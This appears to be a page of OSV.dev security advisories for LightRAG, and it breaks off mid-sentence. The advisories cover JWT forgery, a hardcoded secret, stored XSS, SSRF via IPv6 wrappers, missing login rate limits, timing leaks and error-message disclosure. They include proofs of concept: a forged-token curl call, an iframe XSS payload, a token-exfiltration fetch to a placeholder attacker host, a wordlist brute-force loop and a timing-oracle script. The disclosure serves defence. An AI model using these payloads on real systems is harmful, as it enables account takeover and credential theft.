curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 24, 2025

1.4.9rc1 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

